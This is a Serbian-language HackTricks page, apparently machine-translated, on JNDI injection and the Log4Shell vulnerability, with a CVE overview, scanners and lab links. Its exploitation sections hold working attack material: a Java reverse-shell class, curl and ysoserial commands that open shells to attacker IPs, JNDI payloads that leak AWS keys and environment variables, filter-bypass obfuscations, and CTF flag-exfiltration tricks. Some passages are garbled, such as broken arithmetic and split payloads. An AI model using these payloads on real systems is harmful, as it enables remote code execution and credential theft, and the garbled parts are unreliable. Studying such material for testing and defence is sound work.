JNDI - Java Naming and Directory Interface & Log4Shell
Reading time: 20 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
JNDI, integrisan u Java od kraja 1990-ih, služi kao servis za imenovanje, omogućavajući Java programima da lociraju podatke ili objekte putem sistema imenovanja. Podržava različite servise direktorijuma putem interfejsa provajdera usluga (SPI), omogućavajući preuzimanje podataka iz različitih sistema, uključujući udaljene Java objekte. Uobičajeni SPI uključuju CORBA COS, Java RMI Registry i LDAP.
JNDI Referenca za imenovanje
Java objekti mogu biti pohranjeni i preuzeti koristeći JNDI Reference za imenovanje, koje dolaze u dva oblika:
- Reference adrese: Specifikuje lokaciju objekta (npr., rmi://server/ref), omogućavajući direktno preuzimanje sa navedene adrese.
- Udaljena fabrika: Referencira udaljenu klasu fabrike. Kada se pristupi, klasa se preuzima i instancira sa udaljene lokacije.
Međutim, ovaj mehanizam može biti iskorišćen, što može dovesti do učitavanja i izvršavanja proizvoljnog koda. Kao protivmera:
- RMI:
java.rmi.server.useCodeabseOnly = true
po defaultu od JDK 7u21, ograničavajući učitavanje udaljenih objekata. Bezbednosni menadžer dodatno ograničava šta može biti učitano. - LDAP:
com.sun.jndi.ldap.object.trustURLCodebase = false
po defaultu od JDK 6u141, 7u131, 8u121, blokirajući izvršavanje udaljeno učitanih Java objekata. Ako je postavljeno natrue
, moguće je izvršavanje udaljenog koda bez nadzora Bezbednosnog menadžera. - CORBA: Nema specifičnu osobinu, ali je Bezbednosni menadžer uvek aktivan.
Međutim, Menadžer imenovanja, odgovoran za rešavanje JNDI linkova, nema ugrađene bezbednosne mehanizme, što potencijalno omogućava preuzimanje objekata iz bilo kojeg izvora. Ovo predstavlja rizik jer se zaštite RMI, LDAP i CORBA mogu zaobići, što dovodi do učitavanja proizvoljnih Java objekata ili iskorišćavanja postojećih komponenti aplikacije (gadgets) za pokretanje malicioznog koda.
Primeri iskorišćenih URL-ova uključuju:
- rmi://attacker-server/bar
- ldap://attacker-server/bar
- iiop://attacker-server/bar
Uprkos zaštitama, ranjivosti ostaju, uglavnom zbog nedostatka zaštite protiv učitavanja JNDI iz nepouzdanih izvora i mogućnosti zaobilaženja postojećih zaštita.
JNDI primer
Čak i ako ste postavili PROVIDER_URL
, možete naznačiti drugačiji u pretrazi i biće pristupljeno: ctx.lookup("<attacker-controlled-url>")
i to je ono što će napadač iskoristiti da učita proizvoljne objekte iz sistema koji kontroliše.
Pregled CORBA
CORBA (Common Object Request Broker Architecture) koristi Interoperable Object Reference (IOR) za jedinstveno identifikovanje udaljenih objekata. Ova referenca uključuje osnovne informacije kao što su:
- Type ID: Jedinstveni identifikator za interfejs.
- Codebase: URL za dobijanje stub klase.
Važno je napomenuti da CORBA nije inherentno ranjiv. Osiguranje bezbednosti obično uključuje:
- Instalaciju Bezbednosnog menadžera.
- Konfiguraciju Bezbednosnog menadžera da dozvoli veze sa potencijalno malicioznim kodnim bazama. To se može postići kroz:
- Dozvolu za sokete, npr.,
permissions java.net.SocketPermission "*:1098-1099", "connect";
. - Dozvole za čitanje datoteka, bilo univerzalno (
permission java.io.FilePermission "<<ALL FILES>>", "read";
) ili za specifične direktorijume gde bi maliciozne datoteke mogle biti smeštene.
Međutim, neke politike provajdera mogu biti blage i dozvoliti ove veze po defaultu.
RMI kontekst
Za RMI (Remote Method Invocation), situacija je donekle drugačija. Kao i kod CORBA, učitavanje proizvoljnih klasa je po defaultu ograničeno. Da bi se iskoristio RMI, obično bi bilo potrebno zaobići Bezbednosnog menadžera, što je takođe relevantno u CORBA.
LDAP
Prvo, potrebno je razlikovati između pretrage i pretrage po imenu.
Pretraga će koristiti URL kao ldap://localhost:389/o=JNDITutorial
da pronađe JNDITutorial objekat sa LDAP servera i preuzme njegove atribute.
Pretraga po imenu je namenjena za imenovanje usluga jer želimo da dobijemo šta god je vezano za ime.
Ako je LDAP pretraga pozvana sa SearchControls.setReturningObjFlag() sa true
, tada će vraćeni objekat biti rekonstruisan.
Stoga, postoji nekoliko načina da se napadnu ove opcije.
Napadač može otrovati LDAP zapise uvodeći payload-e na njih koji će biti izvršeni u sistemima koji ih prikupljaju (veoma korisno za kompromitovanje desetina mašina ako imate pristup LDAP serveru). Drugi način da se iskoristi ovo bi bio da se izvrši MitM napad u LDAP pretrazi, na primer.
U slučaju da možete naterati aplikaciju da reši JNDI LDAP URL, možete kontrolisati LDAP koji će biti pretražen, i mogli biste poslati exploit (log4shell).
Iskorišćavanje deserializacije
Exploit je serijalizovan i biće deseralizovan.
U slučaju da je trustURLCodebase
true
, napadač može pružiti svoje klase u kodnoj bazi, inače će morati da iskoristi gadgets u classpath-u.
Iskorišćavanje JNDI reference
Lakše je napasti ovaj LDAP koristeći JavaFactory reference:
Log4Shell ranjivost
Ranjivost je uvedena u Log4j jer podržava specijalnu sintaksu u obliku ${prefix:name}
gde je prefix
jedan od niza različitih Lookups gde name
treba da bude evaluiran. Na primer, ${java:version}
je trenutna verzija Jave koja se izvršava.
LOG4J2-313 je uveo jndi
Lookup funkciju. Ova funkcija omogućava preuzimanje varijabli putem JNDI. Obično, ključ se automatski prefiksira sa java:comp/env/
. Međutim, ako sam ključ uključuje ":", ovaj defaultni prefiks se ne primenjuje.
Sa : prisutnim u ključu, kao u ${jndi:ldap://example.com/a}
nema prefiksa i LDAP server se upituje za objekat. I ovi Lookups mogu se koristiti i u konfiguraciji Log4j kao i kada se linije beleže.
Stoga, jedina stvar koja je potrebna za dobijanje RCE je ranjiva verzija Log4j koja obrađuje informacije koje kontroliše korisnik. I zato što je ovo biblioteka koja se široko koristi u Java aplikacijama za beleženje informacija (uključujući aplikacije koje su dostupne na internetu), bilo je veoma uobičajeno imati log4j koji beleži, na primer, HTTP zaglavlja koja su primljena kao što je User-Agent. Međutim, log4j se ne koristi samo za beleženje HTTP informacija već i za bilo koji unos i podatke koje je programer naznačio.
Pregled CVE-ova povezanih sa Log4Shell
CVE-2021-44228 [Kritično]
Ova ranjivost je kritična greška u nepouzdanom deserializovanju u log4j-core
komponenti, koja utiče na verzije od 2.0-beta9 do 2.14.1. Omogućava daljinsko izvršavanje koda (RCE), omogućavajući napadačima da preuzmu sisteme. Problem je prijavio Chen Zhaojun iz Alibaba Cloud Security Team i utiče na različite Apache okvire. Prvobitno rešenje u verziji 2.15.0 je bilo nepotpuno. Sigma pravila za odbranu su dostupna (Pravilo 1, Pravilo 2).
CVE-2021-45046 [Kritično]
Prvobitno ocenjen kao nizak, ali kasnije unapređen na kritičan, ovaj CVE je greška u uslovima usluge (DoS) koja proizilazi iz nepotpunog rešenja u 2.15.0 za CVE-2021-44228. Uticaće na ne-podrazumevane konfiguracije, omogućavajući napadačima da izazovu DoS napade putem kreiranih payload-a. Tvitt prikazuje metodu zaobilaženja. Problem je rešen u verzijama 2.16.0 i 2.12.2 uklanjanjem obrazaca pretrage poruka i onemogućavanjem JNDI po defaultu.
CVE-2021-4104 [Visoko]
Uticaće na Log4j 1.x verzije u ne-podrazumevanim konfiguracijama koje koriste JMSAppender
, ovaj CVE je greška u nepouzdanom deserializovanju. Nema rešenja za 1.x granu, koja je završila svoj životni vek, i preporučuje se nadogradnja na log4j-core 2.17.0
.
CVE-2021-42550 [Umereno]
Ova ranjivost utiče na Logback logging framework, naslednika Log4j 1.x. Prethodno smatrano sigurnim, okvire su pronađeni ranjivi, a nove verzije (1.3.0-alpha11 i 1.2.9) su objavljene da reše problem.
CVE-2021-45105 [Visoko]
Log4j 2.16.0 sadrži DoS grešku, što je dovelo do objavljivanja log4j 2.17.0
da reši CVE. Dodatni detalji su u izveštaju BleepingComputer-a izveštaj.
CVE-2021-44832
Uticaće na log4j verziju 2.17, ovaj CVE zahteva da napadač kontroliše konfiguracioni fajl log4j. Uključuje potencijalno proizvoljno izvršavanje koda putem konfigurisanog JDBCAppender-a. Više detalja je dostupno u Checkmarx blog postu.
Iskorišćavanje Log4Shell
Otkriće
Ova ranjivost je veoma lako otkriti ako nije zaštićena jer će poslati barem DNS zahtev na adresu koju navedete u svom payload-u. Stoga, payload-ovi kao što su:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(koristeći canarytokens.com)${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(koristeći interactsh)${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(koristeći Burp Suite)${jndi:ldap://2j4ayo.dnslog.cn}
(koristeći dnslog)${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
koristeći (koristeći huntress)
Napomena da čak i ako je primljen DNS zahtev, to ne znači da je aplikacija ranjiva (ili čak ranjiva), moraćete da pokušate da je iskoristite.
note
Zapamtite da da iskoristite verziju 2.15 morate dodati zaobilaženje provere localhost: ${jndi:ldap://127.0.0.1#...}
Lokalno otkriće
Pretražite lokalne ranjive verzije biblioteke sa:
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
Verifikacija
Neke od platformi navedenih ranije će vam omogućiti da unesete neke varijable podatke koji će biti zabeleženi kada se zatraže.
To može biti veoma korisno za 2 stvari:
- Da verifikujete ranjivost
- Da ekstrahujete informacije zloupotrebljavajući ranjivost
Na primer, mogli biste zatražiti nešto poput:
ili kao ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
i ako je DNS zahtev primljen sa vrednošću env varijable, znate da je aplikacija ranjiva.
Druge informacije koje biste mogli pokušati da procurite:
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Any other env variable name that could store sensitive information
RCE Informacije
note
Hostovi koji rade na JDK verzijama iznad 6u141, 7u131 ili 8u121 su zaštićeni od LDAP napada putem učitavanja klasa. To je zbog podrazumevane deaktivacije com.sun.jndi.ldap.object.trustURLCodebase
, koja sprečava JNDI da učita udaljenu bazu koda putem LDAP-a. Međutim, važno je napomenuti da ove verzije nisu zaštićene od napada deserializacije.
Za napadače koji žele da iskoriste ove više JDK verzije, neophodno je iskoristiti pouzdani gadget unutar Java aplikacije. Alati poput ysoserial ili JNDIExploit se često koriste u tu svrhu. S druge strane, iskorišćavanje nižih JDK verzija je relativno lakše jer se ove verzije mogu manipulisati da učitavaju i izvršavaju proizvoljne klase.
Za više informacija (poput ograničenja na RMI i CORBA vektore) proverite prethodni odeljak JNDI Naming Reference ili https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/
RCE - Marshalsec sa prilagođenim payload-om
Možete testirati ovo u THM box-u: https://tryhackme.com/room/solar
Koristite alat marshalsec (jar verzija dostupna ovde). Ovaj pristup uspostavlja LDAP referral server za preusmeravanje konekcija na sekundarni HTTP server gde će biti hostovan exploit:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
Da biste naterali metu da učita kod za reverznu ljusku, kreirajte Java datoteku pod imenom Exploit.java
sa sledećim sadržajem:
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Kompajlirajte Java datoteku u klasu koristeći: javac Exploit.java -source 8 -target 8
. Zatim, pokrenite HTTP server u direktorijumu koji sadrži klasu sa: python3 -m http.server
. Osigurajte da marshalsec LDAP server upućuje na ovaj HTTP server.
Pokrenite izvršenje klase eksploata na podložnom veb serveru slanjem payload-a koji liči na:
${jndi:ldap://<LDAP_IP>:1389/Exploit}
Napomena: Ova eksploatacija se oslanja na Java konfiguraciju koja omogućava učitavanje udaljenog koda putem LDAP-a. Ako to nije dozvoljeno, razmotrite eksploataciju pouzdane klase za izvršavanje proizvoljnog koda.
RCE - JNDIExploit
napomena
Imajte na umu da je autor iz nekog razloga uklonio ovaj projekat sa github-a nakon otkrića log4shell. Možete pronaći keširanu verziju na https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2, ali ako želite da poštujete odluku autora, koristite drugu metodu za eksploataciju ove ranjivosti.
Pored toga, ne možete pronaći izvorni kod u wayback mašini, pa ili analizirajte izvorni kod, ili izvršite jar znajući da ne znate šta izvršavate.
Za ovaj primer možete jednostavno pokrenuti ovaj ranjivi web server za log4shell na portu 8080: https://github.com/christophetd/log4shell-vulnerable-app (u README-u ćete pronaći kako da ga pokrenete). Ova ranjiva aplikacija beleži sa ranjivom verzijom log4shell sadržaj HTTP zahteva X-Api-Version.
Zatim, možete preuzeti JNDIExploit jar datoteku i izvršiti je sa:
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
Nakon što pročitate kod samo nekoliko minuta, u com.feihong.ldap.LdapServer i com.feihong.ldap.HTTPServer možete videti kako se LDAP i HTTP serveri kreiraju. LDAP server će razumeti koji payload treba da se poslužuje i preusmeriće žrtvu na HTTP server, koji će poslužiti exploit.
U com.feihong.ldap.gadgets možete pronaći neke specifične gadgete koji se mogu koristiti za izvršavanje željene akcije (potencijalno izvršavanje proizvoljnog koda). A u com.feihong.ldap.template možete videti različite klase šablona koje će generisati exploite.
Možete videti sve dostupne exploite sa java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
. Neki korisni su:
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
Dakle, u našem primeru, već imamo tu ranjivu aplikaciju na dockeru koja radi. Da bismo je napali:
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
Kada šaljete napade, videćete neki izlaz u terminalu gde ste izvršili JNDIExploit-1.2-SNAPSHOT.jar.
Zapamtite da proverite java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
za druge opcije eksploatacije. Pored toga, u slučaju da vam zatreba, možete promeniti port LDAP i HTTP servera.
RCE - JNDI-Exploit-Kit
Na sličan način kao prethodni exploit, možete pokušati da koristite JNDI-Exploit-Kit da iskoristite ovu ranjivost.
Možete generisati URL-ove koje ćete poslati žrtvi pokretanjem:
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
Ovaj napad koristeći prilagođeni generisani java objekat će raditi u laboratorijama kao što je THM solar room. Međutim, ovo obično neće raditi (jer po defaultu Java nije konfigurisana da učitava udaljene kod baze koristeći LDAP) mislim zato što ne zloupotrebljava pouzdanu klasu za izvršavanje proizvoljnog koda.
RCE - JNDI-Injection-Exploit-Plus
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus je još jedan alat za generisanje funkcionalnih JNDI linkova i pružanje pozadinskih usluga pokretanjem RMI servera, LDAP servera i HTTP servera.\
RCE - ysoserial & JNDI-Exploit-Kit
Ova opcija je zaista korisna za napad na Java verzije koje su konfigurisane da veruju samo određenim klasama i ne svima. Stoga, ysoserial će biti korišćen za generisanje serijalizacija pouzdanih klasa koje se mogu koristiti kao gadgeti za izvršavanje proizvoljnog koda (pouzdana klasa koju zloupotrebljava ysoserial mora biti korišćena od strane žrtvinog java programa kako bi eksploatacija radila).
Korišćenjem ysoserial ili ysoserial-modified možete kreirati eksploataciju deserializacije koja će biti preuzeta od strane JNDI:
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
Koristite JNDI-Exploit-Kit za generisanje JNDI linkova gde će eksploatacija čekati na veze sa ranjivim mašinama. Možete poslužiti različite eksploate koji se mogu automatski generisati pomoću JNDI-Exploit-Kit ili čak svoje vlastite deserializacione payload-e (generisane od vas ili ysoserial).
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
Sada možete lako koristiti generisanu JNDI vezu da iskoristite ranjivost i dobijete reverse shell jednostavno šaljući na ranjivu verziju log4j: ${ldap://10.10.14.10:1389/generated}
Bypasses
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
Automatski skeneri
- https://github.com/fullhunt/log4j-scan
- https://github.com/adilsoybali/Log4j-RCE-Scanner
- https://github.com/silentsignal/burp-log4shell
- https://github.com/cisagov/log4j-scanner
- https://github.com/Qualys/log4jscanwin
- https://github.com/hillu/local-log4j-vuln-scanner
- https://github.com/logpresso/CVE-2021-44228-Scanner
- https://github.com/palantir/log4j-sniffer - Pronađite lokalne ranjive biblioteke
Laboratorije za testiranje
- LogForge HTB mašina
- Try Hack Me Solar soba
- https://github.com/leonjza/log4jpwn
- https://github.com/christophetd/log4shell-vulnerable-app
Post-Log4Shell Eksploatacija
U ovom CTF izveštaju je dobro objašnjeno kako je potencijalno moguće da se zloupotrebe neke funkcije Log4J.
Sigurnosna stranica Log4j-a ima nekoliko zanimljivih rečenica:
Od verzije 2.16.0 (za Java 8), funkcija pretrage poruka je potpuno uklonjena. Pretrage u konfiguraciji i dalje rade. Štaviše, Log4j sada po defaultu onemogućava pristup JNDI-ju. JNDI pretrage u konfiguraciji sada treba eksplicitno omogućiti.
Od verzije 2.17.0, (i 2.12.3 i 2.3.1 za Java 7 i Java 6), samo stringovi pretrage u konfiguraciji se rekurzivno proširuju; u bilo kojoj drugoj upotrebi, samo se najviša pretraga rešava, a sve ugnježdene pretrage se ne rešavaju.
To znači da po defaultu možete zaboraviti na korišćenje bilo kakvog jndi
eksploita. Štaviše, da biste izvršili rekurzivne pretrage, morate ih konfigurisati.
Na primer, u tom CTF-u ovo je bilo konfigurisano u datoteci log4j2.xml:
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
Env Lookups
U ovoj CTF napadač je kontrolisao vrednost ${sys:cmd}
i trebao je da eksfiltrira zastavu iz promenljive okruženja.
Kao što je prikazano na ovoj stranici u prethodnim payload-ima, postoje različiti načini za pristup env promenljivama, kao što je: ${env:FLAG}
. U ovoj CTF to je bilo beskorisno, ali možda neće biti u drugim stvarnim scenarijima.
Exfiltration in Exceptions
U CTF-u, niste mogli pristupiti stderr java aplikacije koristeći log4J, ali Log4J izuzeci se šalju na stdout, koji je bio odštampan u python aplikaciji. To je značilo da bismo aktiviranjem izuzetka mogli pristupiti sadržaju. Izuzetak za eksfiltraciju zastave bio je: ${java:${env:FLAG}}
. Ovo funkcioniše jer ${java:CTF{blahblah}}
ne postoji i izuzetak sa vrednošću zastave će biti prikazan:
Conversion Patterns Exceptions
Samo da napomenem, mogli ste takođe da injektujete nove conversion patterns i aktivirate izuzetke koji će biti zabeleženi na stdout
. Na primer:
Ovo nije bilo korisno za eksfiltraciju podataka unutar poruke o grešci, jer pretraga nije rešena pre konverzionog obrasca, ali bi moglo biti korisno za druge stvari kao što je detekcija.
Conversion Patterns Regexes
Međutim, moguće je koristiti neke conversion patterns koji podržavaju regexes za eksfiltraciju informacija iz pretrage koristeći regexes i zloupotrebljavajući binarno pretraživanje ili vremenski zasnovano ponašanje.
- Binarno pretraživanje putem poruka o izuzecima
Konverzioni obrazac %replace
može se koristiti za zamenu sadržaja iz stringa čak i koristeći regexes. Funkcioniše ovako: replace{pattern}{regex}{substitution}
Zloupotrebljavajući ovo ponašanje mogli biste učiniti da zamena pokrene izuzetak ako regex odgovara bilo čemu unutar stringa (i bez izuzetka ako nije pronađeno) ovako:
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
- Zasnovano na vremenu
Kao što je pomenuto u prethodnom odeljku, %replace
podržava regex. Tako je moguće koristiti payload sa ReDoS stranice da izazove timeout u slučaju da je zastavica pronađena.
Na primer, payload poput %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
bi izazvao timeout u tom CTF-u.
U ovom izveštaju, umesto korišćenja ReDoS napada, korišćen je amplifikacioni napad da izazove vremensku razliku u odgovoru:
/%replace{ %replace{ %replace{ %replace{ %replace{ %replace{ %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################}
Ako zastavica počinje sa
flagGuess
, cela zastavica se zamenjuje sa 29#
-s (koristio sam ovaj karakter jer verovatno neće biti deo zastavice). Svaki od rezultantnih 29#
-s se zatim zamenjuje sa 54#
-s. Ovaj proces se ponavlja 6 puta, što dovodi do ukupnog broja29*54*54^6* =`` ``
96816014208
#
-s!Zamena toliko
#
-s izazvaće 10-sekundni timeout Flask aplikacije, što će rezultirati slanjem HTTP status koda 500 korisniku. (Ako zastavica ne počinje saflagGuess
, dobićemo status kod koji nije 500)
Reference
- https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
- https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/
- https://www.youtube.com/watch?v=XG14EstTgQ4
- https://tryhackme.com/room/solar
- https://www.youtube.com/watch?v=Y8a5nB-vy78
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
- https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/
- https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.